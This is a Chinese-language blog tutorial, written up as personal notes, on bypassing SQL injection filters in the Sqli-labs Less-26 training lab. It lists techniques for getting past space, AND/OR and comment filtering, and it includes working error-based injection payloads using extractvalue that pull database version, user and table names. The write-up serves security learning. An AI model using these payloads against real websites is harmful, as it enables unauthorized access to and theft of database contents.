[理论-学习]Web安全-SQL注入-基础14

本文介绍了如何在面对SQL注入时,通过使用特殊字符和编码方式绕过对空格、AND/OR的过滤以及注释的限制。在实验环境中,作者展示了利用GET参数进行注入,并演示了如何通过||和单引号闭合来构造查询,以及如何利用报错注入获取数据库信息。最后,提出了多种空格过滤的绕过方法,如使用+、%20和其他URL编码形式。
摘要由CSDN通过智能技术生成

声明:

由于笔者能力有限,难免出现各种错误和漏洞。全文仅作为个人笔记,仅供参考。

笔记内容来源于各类网课。

环境:

以Sqli-labs中的less26为实验环境。 

一、概述

绕过对空格、and/or、注释的过滤。

二、实验(基于GET类型的注入-检测space/and/or/注释)

1. 使用GET方式传入参数

使用id=1,页面正常发生变化。

2. 测试语句能否报错

?id=1'
?id=1'2"3

明显判断为字符型注入(单引号闭合)

3. 测试语句能否恶意执行(能不报错)

?id=1' or 1 --+

出现报错,这里有检测,我们爆出or附近的语句。

发现or被过滤,同时如果仅仅是or被过滤,是不会将3和1之间的两个空格过滤,这里还存在空格过滤。同时注释符也存在过滤。 

or被过滤,使用之前的办法,我们使用||替换or。这样||左右没有空格也可以识别为or

注释绕过,我使用闭合两的单引号的方式即可。

空格过滤有以下办法:

  1. 使用+替换空格,在php中,+会被识别为空格,写入SQL语句中。
  2. 使用空格的URL码形式%20,绕过检测。
  3. 使用其他符号的URL码形式:%09,%0a,%0b,%0c,%0d,%a0。
  4. 使用/**/代替空格
  5. 使用()代替空格间隔

例如下面的使用括号代替空格间隔可以正常使用。 

 测试后1-4均被替换,我们使用括号绕过。

?id=1' || (select(1)) || '1

5.使用报错注入得到版本,用户名,当前数据库名

?id=1' || (extractvalue(1,concat(0x7e, version()) )) || '1

?id=1' || (extractvalue(1,concat(0x7e, user(), database() ) )) || '1

6. 爆出security表名

?id=1' || (extractvalue(1,concat(0x7e, (  select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())   )) )) || '1

注意其中的information的or要双写

后续步骤参考报错注入

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值